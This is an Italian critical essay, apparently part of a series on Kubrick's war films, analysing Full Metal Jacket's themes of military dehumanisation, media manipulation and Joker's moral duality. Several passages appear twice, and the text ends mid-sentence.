L’esperienza di Palla di Lardo incarna alla perfezione il tema dell’uomo come nemico di se stesso; già nelle prime scene del film l’ordine di Hartman alla sua recluta («strangolati da solo!», autocitando Stranamore) non era che il preludio all’omicidio-suicidio commesso dal soldato nell’ultima scena ambientata a Parris Island: «[Palla di Lardo] lobotomizzato da brutalità e umiliazioni, interiorizza la violenza dell’ambiente in cui è stato costretto a calarsi, discendendo nel cuore di tenebra della sua follia. (…) L’apprendista stregone Hartman è stato la vittima del suo Frankenstein che, come quella creatura riplasmata, rifiuta di vivere in questo mondo ultra-violento».
Qui si chiude la prima parte del film, quella dedicata alla fase di addestramento; a proposito di questa è interessante citare un articolo del 1987 comparso sui «Cahiers du Cinéma»: «I film di Kubrick descrivono il mondo come un cervello, inevitabilmente soggetto a disfunzioni (per ragioni a volte esterne, a volte interne). Full Metal Jacket illustra in modo ammirevole questa tesi. Il microcosmo del campo di addestramento di Parris Island in effetti è organizzato come un cervello composto da cellule umane che pensano e reagiscono nello stesso modo, fino a quando il suo buon funzionamento si disintegra: dall’interno nel momento in cui una cellula singola (Palla di Lardo) comincia ad eseguire inesorabilmente le direttive di istinto di morte che regolano l’organo nella sua interezza; dall’esterno con l’offensiva del Tet, rappresentazione esteriorizzata di un’identica forza».La morte di Palla di Lardo chiude il cerchio della violenza apertosi nel campo di addestramento, ma è solo il prologo alla guerra vera: terminata la rappresentazione dell’inferno interiore all’uomo (Parris Island), una breve dissolvenza ci porta nell’inferno esteriore, il Vietnam, che vede Joker come anello di congiunzione tra le due parti. Se nella prima grande sequenza la struttura dell’esercito costruisce i suoi killer, le sue macchine da guerra, mostrando la propria capacità di controllo sulle reclute (ad eccezione della “cellula impazzita” Palla di Lardo), la seconda parte del film svela la debolezza e la precarietà di questo processo di “meccanizzazione”; a contatto con la guerra saltano tutti i meccanismi di controllo e i suoi protagonisti si perdono: «La macchina militare si trova ad affrontare un territorio labirintico, complesso e smarrisce le coordinate: coordinate morali, coordinate militari (tutti i “gialli” possono essere nemici, il nemico non è più identificabile), coordinate fisiche (la pattuglia dispersa nello spazio labirintico di Hue)».
Il Vietnam di Kubrick è iconograficamente un Vietnam inedito: non ci sono le giungle che i viet-movie precedenti avevano mostrato al pubblico; il regista rifiuta di ambientare il film attorno ad uno stereotipo e sfrutta una fabbrica in disuso sulle rive del Tamigi per realizzare il “suo” Vietnam: «L’architettura degli stabilimenti dell’ex fabbrica era l’architettura funzionale degli anni Trenta, esattamente uguale a quella di quartieri industriali delle città vietnamite come Saigon o Hue. L’ambientazione si prestava idealmente al soggetto del film».
La prima scena, della parte ambientata in Vietnam, ci mostra subito Joker; di conseguenza lo spettatore mette a fuoco la sua figura come figura-chiave del film: qui ritroviamo il soldato nelle vesti di giornalista per «Stars and Stripes», nonostante la disapprovazione mostrata in precedenza a Parris Island da Hartman («Ti sei messo in testa di essere un cazzo di scrittore? (…) Non sei qui come scrittore, qui sei un killer!»). Nella redazione del giornale campeggia la scritta con il motto «First to go Last to know» (“primi ad andare, ultimi a sapere”), a sottolineare il fatto che la verità non era l’elemento primario di un giornale di guerra, che anzi doveva scrivere storie fasulle per accattivarsi il consenso dell’opinione pubblica sull’impiego dei soldati americani in Vietnam; a questo proposito è esemplare il discorso che il caporedattore di «Stars and Stripes» rivolge a Joker: «Noi pubblichiamo due tipi di storie: marines che spendono la paga per comprare ai gialli dentifrici e deodoranti, tipo “arte di sedurre i cuori”, okay? ..E storie di combattimenti con un sacco di morti, tipo “come vincere la guerra”». Lo stesso Kubrick ha spiegato come, quella del Vietnam, sia stata la prima guerra ad esser condotta negli Stati Uniti soprattutto come una campagna pubblicitaria: «La manipolazione della verità attraverso i mezzi di comunicazione di massa del governo fu uno degli obiettivi di questa campagna. Ciò ha condotto al fatto che l’opinione pubblica americana ha avuto un’immagine falsa e manipolata dell’intera guerra». Kubrick sapeva che il conflitto vietnamita era stato il primo ad essere seguito dai media televisivi, per questo non ha risparmiato nel film i riferimenti all’iconografia tracciata dagli stessi media: quando uno dei soldati, Animal Mother, domanda a Joker se avesse mai visto il fronte, questi gli risponde: «Accidenti se l’ho visto: in televisione»; o ancora il soldato Cowboy, quando in un’intervista televisiva parla della guerra: «Quando siamo a Hue, noi entriamo in città, no? E lì è proprio come una guerra, capito? Come quello che… quello che io pensavo che deve essere una guerra vera, come io pensavo, come io… come me l’ero immaginata»; di conseguenza: «La guerra è già vista, è già registrata nell’archivio mnemonico di chi vi combatte grazie a cinema e televisione». La presenza televisiva è in ogni dove, come i riferimenti dei soldati ai miti cinematografici americani, su tutti il genere western: Joker imita e cita più volte John Wayne, gli altri soldati paragonano i vietcong agli indiani, i “cattivi” per eccellenza nei western hollywoodiani del passato («Ma gli indiani chi li fa?» «Tocca ai musi gialli fare gli indiani»).
Dopo l’ennesima risposta beffarda rivolta al suo caporedattore, Joker viene spedito insieme a Rafterman (“l’uomo della zattera”, un richiamo a Fear and Desire) nella “zona calda”; è qui che incontra per la prima volta il reale orrore per la guerra, i suoi occhi si posano su una fossa comune e la sua indignazione lo porta ad una conclusione apparentemente ovvia («I morti sanno soltanto una cosa: che è meglio essere vivi»), ma che riassume appieno una delle verità che il regista vuole mostrare nella seconda parte del film: i soldati che vengono mandati a combattere in guerra, non lottano per niente se non per restare vivi, né per ideali né per fama quindi, ma solo per la sopravvivenza. Una verità che sottolinea il contesto mentale e non fisico del conflitto mostrato da Kubrick: «In guerra è meglio esser vivi che morti e tutto il resto non conta. Dirlo a parole è semplice, “spiegarlo” con un film molto difficile. Spiegarlo crudelmente e virilmente come fa Full Metal Jacket, poi, richiede un’estrema precisione di tono, perché l’orrore di Full Metal Jacket non è negli schizzi di sangue e negli arti amputati ma nella dimensione mentale del combattimento, nella meccanizzazione della barbarie: il prodotto coerente della propedeutica di Hartman». Subito dopo questa scena, troviamo un elemento fondamentale della seconda parte del film, ovvero la spiegazione che Joker fornisce ad un ufficiale, dopo che questi ha notato sull’uniforme del soldato la presenza del distintivo della pace e della scritta “Born to Kill” (“nato per uccidere”) sull’elmetto: «Io volevo soltanto fare riferimento alla dualità dell’essere umano, signore, l’ambiguità dell’uomo, una teoria junghiana, signore». È l’ennesimo sberleffo di un buffone (in inglese “joker”, per l’appunto) che cerca di contrastare gli orrori della guerra mediante l’ironia e lo scherzo, oppure si tratta del tentativo di un uomo di elevarsi e di differenziarsi da una massa di automi tutti uguali tra loro, tutti standardizzati, attraverso l’uso dell’intelletto e della cultura? Sembra che la risposta si trovi a metà strada tra le due parti: Joker da un lato si ribella al sistema (come Palla di Lardo anche lui è un personaggio diverso dalla massa, ma molto meno vulnerabile) grazie alla sua coscienza e alla sua personalità, ma dall’altro sa stare al gioco dell’istituzione militare, comportandosi da perfetto integrato (partecipa al pestaggio collettivo contro Palla di Lardo, afferma alla televisione di voler essere il primo ragazzo del suo palazzo «a fare centro dentro qualcuno»): «Joker ha un ruolo di focalizzatore omodiegetico assai marcato, ma spesso assente e in chiara distonia con quanto concretamente fatto dal personaggio. Egli alterna momenti di lucidità osservativa ad altri di complicità irriflessa».Lo stesso Kubrick spiega la presenza del distintivo della pace sull’uniforme del protagonista: «Si tratta di un simbolo che indica dualismo. Il soldato Joker dice infatti al suo superiore che gli chiede cosa voglia significare quel bottone: che gli esseri umani sono divisi fra odio e diffidenza da una parte, amicizia e disponibilità dall’altra». La dualità dell’essere umano evidenziata dal regista trova riscontro anche nei comportamenti degli altri personaggi: su tutti il soldato Animal Mother, presentato inizialmente come una sorta di Rambo dispensatore di morte (sul suo elmetto c’è scritto: “I am become death”, “sono diventato morte”), è colui che invece ha la lucidità di riconoscere che quella alla quale stanno assistendo in Vietnam è «una strage», inoltre contraddice gli ordini e si espone al fuoco del cecchino pur di andare a salvare i compagni feriti.
Kubrick, nella scena in cui l’ufficiale chiede spiegazioni a Joker, evidenzia la follia e l’ottusità delle alte sfere del sistema militare; la sua critica per questo tipo di personaggi si nota nella frase finale messa in bocca all’ufficiale in questione, che dice al soldato: «È un mondo spietato, figliolo, bisogna tener duro fino a quando non passerà questa mania della pace». Il regista sembra voler dire che quello al quale stiamo assistendo «è un universo alla rovescia, di pazzi al comando, con la voce pensante di Joker unico sguardo lucido. (…) Il Vietnam, come ogni guerra, è il regno del militarismo, l’obbligo dell’impiego universale della violenza come mezzo ai fini dello Stato»; un concetto di violenza gratuita che emerge dalle parole dei vari soldati, per esempio da quelle del capopattuglia di Cowboy, Crazy Earl: «Siamo i giganti verdi dei detersivi, solo che noi andiamo in giro a ripulire il mondo col mitra. Quelle che abbiamo fatto fuori oggi sono le persone più meravigliose del mondo: quando torneremo a casa di sicuro non troveremo più gente a cui valga la pena di sparare». La violenza è quindi l’unica realtà: «Gli uomini non possono governarla, sono loro a essere guidati dai processi conduttivi di quest’energia che hanno scatenato e che ora li sovrasta. Le battaglie non si decidono da uomini che calcolano e riflettono, ma tra soldati ormai depredati delle facoltà razionali, cieche forze che non sono che impeto. È il segreto ultimo della guerra: la riduzione della persona umana a materia inerte, dominata dall’istinto crudele della preda o del cacciatore».
Nell’ultima parte del film, la pattuglia si perde nello spazio labirintico di Hue, un corrispettivo fisico e spaziale della situazione interiore dei personaggi, che il regista ama spesso delineare nelle sue pellicole, da Fear in Desire, fino ad Eyes Wide Shut («Kubrick sembra interessato a offrire un ulteriore esempio di quella poetica della perdita di controllo sulle coordinate spaziali e temporali già operativa in gran parte della produzione filmica precedente»). In questo spazio, nel pieno dello smarrimento, un cecchino uccide prima il soldato Eightball, quindi Doc Jay, che era corso ad aiutare il compagno. Cowboy vuole far ripiegare il gruppo e abbandonare i compagni, ma Animal Mother si oppone e si lancia in avanti, riuscendo a far guadagnare terreno alla sua squadra: anche Cowboy però viene ucciso dal cecchino. Decisi nel voler vendicare i compagni, i rimanenti soldati si mettono alla ricerca del nemico; è Joker a trovarlo per primo e a scoprire che si tratta di una ragazzina armata. Il fucile del soldato si inceppa ed egli è costretto a rifugiarsi dietro ad una colonna, mentre le pallottole dell’avversaria si scagliano contro la sua postazione. Rafterman giunge sul posto e colpisce la ragazza, quindi si lascia andare ad urla di entusiasmo di fronte alla sua prima vittima: «Sono un duro, sono uno che fa fuori i nemici, sono un killer!». La ragazza però è ancora viva, agonizzante; Animal Mother intende lasciarla lì («Che marcisca qui»), mentre Joker vorrebbe aiutarla. Kubrick, dopo aver concesso a Joker la possibilità di uscire da ogni situazione precedente in modo ironico e sarcastico (conformemente al soprannome del soldato), in questa sequenza finale mette il suo protagonista faccia a faccia con l’orrore, con la possibilità di «far centro dentro qualcuno» che il soldato, sarcasticamente, aveva desiderato di avere. Joker dà il colpo di grazia alla ragazza, mosso da pietà, sicuramente, ma allo stesso tempo: «volente o nolente Joker si è trasformato in una killing machine: una piccola rotella senza volto nell’ingranaggio della morte. Hartman, probabilmente, sorride nella tomba. La tragica ironia finale di Full Metal Jacket è che la guerra ha preso in giro anche il suo giullare». Dopo questo “battesimo di morte”, Joker raggiunge gli altri soldati e si unisce alla marcia nell’oscurità; le sue ultime parole: «Sono proprio contento di essere vivo, tutto d’un pezzo, prossimo al congedo. Certo, vivo in un mondo di merda, questo sì, ma sono vivo e non ho più paura». Ora che non ha più paura, anche il soldato Joker, lo scrittore che difendeva la verità giornalistica, è divenuto una macchina per uccidere? Anche lui, l’intellettuale che citava Jung di fronte ai suoi superiori, ha raggiunto il suo punto di non ritorno, come avevano fatto in precedenza Palla di Lardo e Rafterman? In quest’ottica «Full Metal Jacket è un’opera disperata, dilaniata, che sancisce la fine di ogni residua illusione kubrickiana sulla natura dell’uomo e sulle sue possibilità di salvezza».
Tutti i marines si uniscono in un canto: intonano la Marcia di Topolino. Stavolta non si tratta del finale umanista di Orizzonti di gloria, ma di una regressione dei soldati allo stato infantile: «Quegli uomini in marcia, cui la guerra ha rivoluzionato ogni scala di valori, dei bambini condividono la crudeltà amorale, l’assenza di scrupoli etici, la aggressività necessaria, l’assenza di principi che non siano quelli naturali ed elementari, l’immunità da ogni ipocrisia; infine la noncuranza stessa della propria morte».Partono i titoli di coda, in contemporanea ai versi della splendida Paint it black (“dipingilo di nero”) dei Rolling Stones; Mick Jagger canta: «I see a red door and I want it painted black; no colors anymore I want them to turn black» (“vedo una porta rossa e voglio dipingerla di nero; non voglio più colori ma tutto dipinto di nero”), proprio quando le immagini sono finite e lo schermo è diventato nero; «It’s not easy facing up when your whole world is black» (“non è facile restare a testa alta quando il mondo intero è nero”); e ancora: «I look inside myself and see my heart is black» (“guardo dentro me stesso e vedo che il mio cuore è nero”). Il messaggio del pessimista Kubrick, anche durante i titoli di coda, è vivo, diretto, lucido, spietato e soprattutto definitivo.
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La Guerra secondo Kubrick (parte 6 di 8)
FULL METAL JACKET: LA “MECCANIZZAZIONE” DELL’UOMO
Due anni dopo la realizzazione di Shining, del 1980, l’attenzione di Stanley Kubrick ricade sul racconto The Short Timers di Gustav Hasford, in cui alcuni giovani marines vengono addestrati in un campo di addestramento per poi essere mandati in Vietnam a combattere. Affascinato dai vari risvolti della storia («Quando ho letto il libro ho trovato irresistibili l’originalità, la bellezza dello stile, la semplicità», ha detto il regista), Kubrick acquistò i diritti del libro, cominciando così a lavorare alla sceneggiatura di Full Metal Jacket, uscito nel 1987. Michael Herr, co-sceneggiatore del film, ricorda lo scambio di battute tra lui e Kubrick alla “nascita” di Full Metal Jacket; il regista disse di voler fare un film di guerra, Herr gli fece notare che aveva già fatto Orizzonti di gloria, al che Kubrick rispose: «Quello è contro la guerra. Voglio fare un film di guerra solo per considerarne il soggetto, senza una posizione morale o politica, ma come fenomeno».Il termine “full metal jacket” (letteralmente “copertura piena di piombo”), che non compare in nessuna parte del racconto, descrive il rivestimento di un tipo di proiettile e in un certo senso richiama alla metaforica corazza di metallo (come quella degli automi) nella quale venivano avvolti i marines per essere trasformati in killer.
L’intenzione del regista, attraverso questo film, è di inserire alcuni temi già affrontati nelle sue opere precedenti in un contesto bellico moderno, come quello vietnamita: «Il Vietnam è stata probabilmente l’unica guerra dominata dai falchi intellettuali che manipolavano i fatti e perfezionavano la realtà, ingannando sia loro stessi che il pubblico».
Ma il tema che più di altri Kubrick intende affrontare con Full Metal Jacket è quello della “meccanizzazione” dell’uomo, ovvero del rendere automatico un qualcosa di naturale, un tema nel quale il regista si era addentrato esplicitamente, già dal titolo, in Arancia meccanica, nel 1971.
Le vicende di Full Metal Jacket si svolgono in due segmenti ben delineati: l’addestramento a Parris Island e il Vietnam. La scena d’apertura del film mostra un gruppo di ragazzi a cui stanno radendo a zero le teste: ci troviamo nel campo d’addestramento di Parris Island; il sergente istruttore Hartman si presenta ad un gruppo di reclute, destinate a diventare marines, “macchine da guerra”. Il linguaggio dell’istruttore è offensivo e osceno; egli mostra immediatamente tutta la sua severità nei confronti di chi non si è ancora inquadrato nella disciplina imposta dalla procedura militare. In questa fase iniziale di presentazione emergono i personaggi di Joker, un giovane dall’aria intellettuale e scherzosa, di Cowboy e in particolare di Palla di Lardo, un ragazzo goffo e imbranato, sul quale Hartman riversa tutta la sua crudele offensività. Le scene che seguono mostrano il training al quale vengono sottoposte le varie reclute, dove agli esercizi fisici si alternano fasi in cui l’istruttore cerca di plagiare le menti dei futuri soldati mediante riti collettivi inneggianti alla guerra e alle armi. Joker, nonostante i continui rimproveri subiti, diventa caposquadra, mentre Palla di Lardo, messo continuamente alla berlina, viene emarginato dai suoi stessi compagni di camerata, costretti da Hartman a pagare per ogni errore del loro compagno. Una notte il ragazzo subisce un pestaggio da parte di tutti gli altri soldati, Joker compreso (anche se inizialmente esitante); nei giorni seguenti Palla di Lardo mostra segni di instabilità, la sua “trasformazione” in macchina da guerra è quasi completa, per la soddisfazione del suo istruttore. L’ultima notte a Parris Island è però tragica: Palla di Lardo è sorpreso da Joker nel bagno mentre sta caricando il suo fucile con pallottole «blindatissime» (“full metal jacket” appunto); all’arrivo di Hartman il giovane gli spara e poi si uccide.
Una dissolvenza ci porta nel Vietnam; Joker è corrispondente di guerra per il giornale dell’esercito «Stars and Stripes». Durante l’offensiva del Tet, nella quale i vietcong attaccano l’esercito statunitense, Joker viene mandato al fronte a fare un reportage con il suo amico Rafterman. Qui ritrova il compagno di corso Cowboy e si unisce alla sua squadra; il gruppo riesce a liberare una città con poca difficoltà, l’entusiasmo aumenta con l’arrivo degli inviati televisivi che intervistano i vari marines. I soldati partono per una nuova missione verso la città di Hue, ma perdono l’orientamento e si ritrovano sotto il tiro di un cecchino, che uccide due di loro e in seguito lo stesso Cowboy. I rimanenti soldati individuano la posizione del cecchino e lo sorprendono alle spalle: si tratta di una giovane ragazza, alla quale Joker prova a sparare, non riuscendo poiché gli si inceppa il fucile. Mentre sta per essere ucciso, Rafterman giunge a salvarlo, sparando al cecchino; la ragazza è agonizzante, circondata dai soldati: Joker pone fine alle sofferenze della giovane, uccidendola. Il gruppo si allontana nella notte intonando il ritornello di Mickey Mouse.
Il tema kubrickiano che vediamo immediatamente riemergere in Full Metal Jacket è quello che mostra il sistema e la struttura dell’istituzione militare: «l’esercito affiora come struttura rigida e asettica, impersonale, funzionale; (…) una struttura violenta, costruzione ossessivamente minuziosa finalizzata alla distruzione e psicologicamente distruttrice e autodistruttrice di se stessa». Il fine dell’esercito si concentra quindi nella distruzione della personalità umana, con l’obiettivo di possedere il controllo assoluto sull’individuo, attraverso la sua “meccanizzazione”. Lo stesso Hartman, presentandosi alle reclute, sottolinea questo passaggio fondamentale da essere naturale a essere meccanico: «Se voi signorine finirete questo corso e se sopravviverete all’addestramento, sarete un’arma, sarete dispensatori di morte, pregherete per combattere». Ma trasformare uomini in armi è possibile? Secondo Stanley Kubrick la risposta è affermativa: «Sì, trasformare esseri umani in armi è possibile. Come dice il sergente nel mio film: “Un’arma è solo un utensile, è il cuore duro che uccide”» (nella versione italiana del film è in realtà tradotto: «Il vostro fucile è solo uno strumento, è il cuore di pietra quello che uccide»). Il duro training al quale si sottopongono i soldati è finalizzato a distruggere la paura della morte e per distruggere questa è necessario distruggere la personalità: già nella primissima scena tale distruzione è inscritta nelle immagini dei giovani dal barbiere, dove vengono tutti quanti rasati a zero, primo elemento del processo di meccanizzazione ad accomunare i ragazzi, ognuno reso una sorta di “clone” dell’altro; in questa scena vediamo il barbiere militare “operare” sulle loro teste, quasi a presagire quel lavaggio del cervello al quale verranno sottoposti in seguito. In Full Metal Jacket: «il cervello è il vero campo di battaglia, il vero Vietnam, presupposto e posta in gioco della guerra. Parris Island è il luogo (isolano – isolato – isolante) del lavaggio del cervello e delle lavate di testa, è il luogo in cui s’interviene direttamente sulla testa»; non a caso sulla locandina del film è presente un elmetto, ovvero la “testa” del soldato.
Joker, voce narrante del film, descrive in poche parole il luogo in cui si trova: «Parris Island, Carolina del Sud, campo di addestramento reclute del corpo dei marines degli Stati Uniti. Corso di otto settimane per falsi duri e pazzi furiosi». In questa bipartizione la giovane recluta mostra la sua lucidità, autoescludendosi di fatto dalla categoria dei “pazzi furiosi” e inserendosi quindi in quella dei “falsi duri”. Joker per tutto il film non è altro che questo, poiché sembra sfuggire alla disumanizzazione della sua personalità: quando alla fine è chiamato alla battaglia, fallisce, perché in lui è ancora acceso il lume dell’umanità e dell’intelligenza, perché non è un vero killer e il suo primo omicidio è causato dalla compassione e non dall’odio. Di conseguenza va osservato come ne Il dottor Stranamore e in Orizzonti di gloria la follia della guerra fosse dovuta all’orgoglio e all’ambizione dei generali, in Full Metal Jacket, invece, si basa essenzialmente sul tentativo del soldato Joker di restare sano in un ambiente folle.
Come sottolinea Magnisi: «Tutto il primo atto della pellicola sarà una lunga introduzione (un vero addestramento anche per gli spettatori) alla sottocultura dei marines, osservata con iperrealismo clinico dall’occhio di Kubrick, all’interno di un’ossessione per la geometria e la regola, l’ordine e la disciplina». L’obiettivo dell’istruttore Hartman (peraltro interpretato da un vero istruttore dei marines, Lee Ermey) è standardizzare tutte le reclute secondo canoni prestabiliti, omogeneizzare il gruppo, escludendo ogni tipo di diversità, motivo per cui il soldato Palla di Lardo risulta il più difficile da “meccanizzare”, poiché la sua diversità è evidente nelle caratteristiche fisiche (la grassezza) e motorie (la goffaggine), che lo portano inevitabilmente ad essere il bersaglio prediletto del suo istruttore, che non risparmia oltraggi e offese per cercare di motivare (quindi standardizzare) il ragazzo: «Ma tu ci sei nato sotto forma di viscido sacco di merda, Palla di Lardo, o ci hai studiato per diventarlo? (…) Perché tu sei un ciccione ributtante e fai schifo, Palla di Lardo!».
Gli esercizi fisici, nonostante la durezza, risultano essere la parte d’addestramento più innocua e meno importante, è l’indottrinamento psicologico, invece, la parte fondamentale per plagiare le giovani reclute; il linguaggio usato da Hartman è esplicito e aggressivo, e le vittime di esso non possono che subirlo passivamente. L’istruttore cerca continuamente di costruire un rapporto di intimità e complicità tra la recluta ed il fucile, sottolineando l’importanza di questo connubio (ed è immediato il richiamo alle ispezioni del generale Mireau nelle trincee di Orizzonti di gloria): «Stanotte vi porterete a letto il vostro fucile e darete al vostro fucile un nome di ragazza, perché sarà quello l’unico buco che voialtri rimedierete qui dentro. (…) Siete sposati al fucile, quel coso fatto di legno e di ferro, e rimarrete fedeli soltanto a lui!». E ancora: «La più micidiale combinazione del mondo: un marine col suo fucile. Ma è sulla volontà di uccidere che bisogna concentrarsi. (…) Il vostro fucile è solo uno strumento, è il cuore di pietra quello che uccide». Joker, in uno dei rari interventi della sua voce fuori campo, dice che: «Il corpo dei marines non vuole dei robot, il corpo dei marines vuole dei killer, il corpo dei marines mira a creare uomini indistruttibili, uomini senza paura»; per cancellare la paura della morte dai soldati, il sistema deve quindi cercare di vendere un’immortalità “a basso costo”: «Un marine può morire, siamo qui per questo, ma il corpo dei Marine vivrà per sempre e questo significa che voi vivrete per sempre», dice Hartman e tutte le marcette e i ritornelli che fa intonare ai suoi soldati non sono altro che un accumulo di elementi che rappresentano una procedura (per un istruttore militare è la prassi) che ha come fine ultimo quello di plagiare le menti delle reclute. Tra tante situazioni, è piuttosto eloquente in questo caso la preghiera che i soldati devono recitare, fucile in mano, prima di andare a dormire: «Questo è il mio fucile, ce ne sono tanti come lui, ma questo è il mio. Il mio fucile è il mio migliore amico, è la mia vita. Io devo dominarlo come domino la mia vita. Senza di me il mio fucile non è niente, senza il mio fucile io sono niente. Devo colpire il bersaglio; devo sparare meglio del mio nemico che cerca di ammazzare me. Devo sparare io prima che lui spari a me e lo farò. Al cospetto di Dio giuro su questo credo: il mio fucile e me stesso siamo i difensori della patria, siamo i dominatori dei nostri nemici, siamo i salvatori della nostra vita e così sia, finché non ci sarà più nemico, ma solo pace. Amen».
Un aspetto particolare che troviamo in Full Metal Jacket, ma che già abbiamo incontrato in Orizzonti di gloria, è il continuo tentativo della struttura militare di provare a piegare alla propria logica ogni tipo di azione ed ideologia, inglobandola nel proprio sistema: nella prima parte del film Joker dice al suo istruttore di non credere in Dio, nonostante le ripetute ed insistenti affermazioni del sergente riguardo al valore ideologico della religione cattolica; in un primo momento Hartman sembra infuriato, ma invece di punire il ragazzo lo nomina caposquadra, dicendo che: «Il soldato Joker è ignorante e senza dio, ma ha fegato e il fegato è tutto». In questo modo, come nota Eugeni, l’esercito dimostra: «la terribile capacità di ricondurre ai propri parametri ogni opposizione, non contrastandola, ma semplicemente privandola del proprio senso originario». Un comportamento simile lo aveva assunto anche Broulard in Orizzonti di gloria, ritenendo la nobile azione difensiva di Dax niente più che una tattica per ottenere una promozione. Inoltre, come abbiamo visto nelle pellicole trattate in precedenza, dove gli eserciti combattono e uccidono i loro stessi soldati, anche in Full Metal Jacket il sistema finisce per implodere, per combattere contro se stesso: gli sforzi fatti da Hartman per rendere Palla di Lardo un killer vengono “premiati” nel finale della prima macrosequenza del film, dove il soldato, divenuto una macchina impazzita (come il computer Hal in 2001), uccide il suo istruttore, divenendo di fatto il killer che il duro addestramento doveva creare: «Quando Palla di Lardo scarica su [Hartman] i suoi proiettili blindati, nessuno tira sospiri di sollievo, ma anzi si resta agghiacciati, perché è chiaro che la morte di Hartman lascia viva e intatta l’istituzione; non arriva ad espiazione di alcuna colpa, ma a conferma dell’efficacia di un insegnamento».
L’esperienza di Palla di Lardo incarna alla perfezione il tema dell’uomo come nemico di se stesso; già nelle prime scene del film l’ordine di Hartman alla sua recluta («strangolati da solo!», autocitando Stranamore) non era che il preludio all’omicidio-suicidio commesso dal soldato nell’ultima scena ambientata a Parris Island: «[Palla di Lardo] lobotomizzato da brutalità e umiliazioni, interiorizza la violenza dell’ambiente in cui è stato costretto a calarsi, discendendo nel cuore di tenebra della sua follia. (…) L’apprendista stregone Hartman è stato la vittima del suo Frankenstein che, come quella creatura riplasmata, rifiuta di vivere in questo mondo ultra-violento».
Qui si chiude la prima parte del film, quella dedicata alla fase di addestramento; a proposito di questa è interessante citare un articolo del 1987 comparso sui «Cahiers du Cinéma»: «I film di Kubrick descrivono il mondo come un cervello, inevitabilmente soggetto a disfunzioni (per ragioni a volte esterne, a volte interne). Full Metal Jacket illustra in modo ammirevole questa tesi. Il microcosmo del campo di addestramento di Parris Island in effetti è organizzato come un cervello composto da cellule umane che pensano e reagiscono nello stesso modo, fino a quando il suo buon funzionamento si disintegra: dall’interno nel momento in cui una cellula singola (Palla di Lardo) comincia ad eseguire inesorabilmente le direttive di istinto di morte che regolano l’organo nella sua interezza; dall’esterno con l’offensiva del Tet, rappresentazione esteriorizzata di un’identica forza».La morte di Palla di Lardo chiude il cerchio della violenza apertosi nel campo di addestramento, ma è solo il prologo alla guerra vera: terminata la rappresentazione dell’inferno interiore all’uomo (Parris Island), una breve dissolvenza ci porta nell’inferno esteriore, il Vietnam, che vede Joker come anello di congiunzione tra le due parti. Se nella prima grande sequenza la struttura dell’esercito costruisce i suoi killer, le sue macchine da guerra, mostrando la propria capacità di controllo sulle reclute (ad eccezione della “cellula impazzita” Palla di Lardo), la seconda parte del film svela la debolezza e la precarietà di questo processo di “meccanizzazione”; a contatto con la guerra saltano tutti i meccanismi di controllo e i suoi protagonisti si perdono: «La macchina militare si trova ad affrontare un territorio labirintico, complesso e smarrisce le coordinate: coordinate morali, coordinate militari (tutti i “gialli” possono essere nemici, il nemico non è più identificabile), coordinate fisiche (la pattuglia dispersa nello spazio labirintico di Hue)».
Il Vietnam di Kubrick è iconograficamente un Vietnam inedito: non ci sono le giungle che i viet-movie precedenti avevano mostrato al pubblico; il regista rifiuta di ambientare il film attorno ad uno stereotipo e sfrutta una fabbrica in disuso sulle rive del Tamigi per realizzare il “suo” Vietnam: «L’architettura degli stabilimenti dell’ex fabbrica era l’architettura funzionale degli anni Trenta, esattamente uguale a quella di quartieri industriali delle città vietnamite come Saigon o Hue. L’ambientazione si prestava idealmente al soggetto del film».
La prima scena, della parte ambientata in Vietnam, ci mostra subito Joker; di conseguenza lo spettatore mette a fuoco la sua figura come figura-chiave del film: qui ritroviamo il soldato nelle vesti di giornalista per «Stars and Stripes», nonostante la disapprovazione mostrata in precedenza a Parris Island da Hartman («Ti sei messo in testa di essere un cazzo di scrittore? (…) Non sei qui come scrittore, qui sei un killer!»). Nella redazione del giornale campeggia la scritta con il motto «First to go Last to know» (“primi ad andare, ultimi a sapere”), a sottolineare il fatto che la verità non era l’elemento primario di un giornale di guerra, che anzi doveva scrivere storie fasulle per accattivarsi il consenso dell’opinione pubblica sull’impiego dei soldati americani in Vietnam; a questo proposito è esemplare il discorso che il caporedattore di «Stars and Stripes» rivolge a Joker: «Noi pubblichiamo due tipi di storie: marines che spendono la paga per comprare ai gialli dentifrici e deodoranti, tipo “arte di sedurre i cuori”, okay? ..E storie di combattimenti con un sacco di morti, tipo “come vincere la guerra”». Lo stesso Kubrick ha spiegato come, quella del Vietnam, sia stata la prima guerra ad esser condotta negli Stati Uniti soprattutto come una campagna pubblicitaria: «La manipolazione della verità attraverso i mezzi di comunicazione di massa del governo fu uno degli obiettivi di questa campagna. Ciò ha condotto al fatto che l’opinione pubblica americana ha avuto un’immagine falsa e manipolata dell’intera guerra». Kubrick sapeva che il conflitto vietnamita era stato il primo ad essere seguito dai media televisivi, per questo non ha risparmiato nel film i riferimenti all’iconografia tracciata dagli stessi media: quando uno dei soldati, Animal Mother, domanda a Joker se avesse mai visto il fronte, questi gli risponde: «Accidenti se l’ho visto: in televisione»; o ancora il soldato Cowboy, quando in un’intervista televisiva parla della guerra: «Quando siamo a Hue, noi entriamo in città, no? E lì è proprio come una guerra, capito? Come quello che… quello che io pensavo che deve essere una guerra vera, come io pensavo, come io… come me l’ero immaginata»; di conseguenza: «La guerra è già vista, è già registrata nell’archivio mnemonico di chi vi combatte grazie a cinema e televisione». La presenza televisiva è in ogni dove, come i riferimenti dei soldati ai miti cinematografici americani, su tutti il genere western: Joker imita e cita più volte John Wayne, gli altri soldati paragonano i vietcong agli indiani, i “cattivi” per eccellenza nei western hollywoodiani del passato («Ma gli indiani chi li fa?» «Tocca ai musi gialli fare gli indiani»).
Dopo l’ennesima risposta beffarda rivolta al suo caporedattore, Joker viene spedito insieme a Rafterman (“l’uomo della zattera”, un richiamo a Fear and Desire) nella “zona calda”; è qui che incontra per la prima volta il reale orrore per la guerra, i suoi occhi si posano su una fossa comune e la sua indignazione lo porta ad una conclusione apparentemente ovvia («I morti sanno soltanto una cosa: che è meglio essere vivi»), ma che riassume appieno una delle verità che il regista vuole mostrare nella seconda parte del film: i soldati che vengono mandati a combattere in guerra, non lottano per niente se non per restare vivi, né per ideali né per fama quindi, ma solo per la sopravvivenza. Una verità che sottolinea il contesto mentale e non fisico del conflitto mostrato da Kubrick: «In guerra è meglio esser vivi che morti e tutto il resto non conta. Dirlo a parole è semplice, “spiegarlo” con un film molto difficile. Spiegarlo crudelmente e virilmente come fa Full Metal Jacket, poi, richiede un’estrema precisione di tono, perché l’orrore di Full Metal Jacket non è negli schizzi di sangue e negli arti amputati ma nella dimensione mentale del combattimento, nella meccanizzazione della barbarie: 